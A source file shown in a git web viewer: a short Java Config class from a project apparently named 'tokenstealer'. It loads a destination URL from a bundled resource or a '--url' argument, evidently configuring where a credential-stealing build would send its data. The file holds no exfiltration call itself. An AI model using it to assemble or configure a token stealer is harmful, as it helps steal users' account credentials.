aboutsummaryrefslogtreecommitdiff
path: root/src/main/java/de/romjaki/tokenstealer/builder/Config.java
blob: ea547f71e393d5508fd79bc254e98c26c14c5f39 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package de.romjaki.tokenstealer.builder;

import java.util.Scanner;

public class Config {

    public static Config INSTANCE;

    private String request;

    public Config(String request) {
        this.request = request;
    }

    private static Config getConfig() {
        try (Scanner scanner = new Scanner(Config.class.getResourceAsStream("/request"))
                .useDelimiter("\\A")) {
            return new Config(scanner.next());
        } catch (NullPointerException e) {
            return null;
        }
    }

    public static Config load(String[] args) {
        if (args.length == 2 && args[0].equals("--url")) {
            return INSTANCE = new Config(args[1]);
        }
        return INSTANCE = getConfig();
    }

    public String getRequest() {
        return request;
    }
}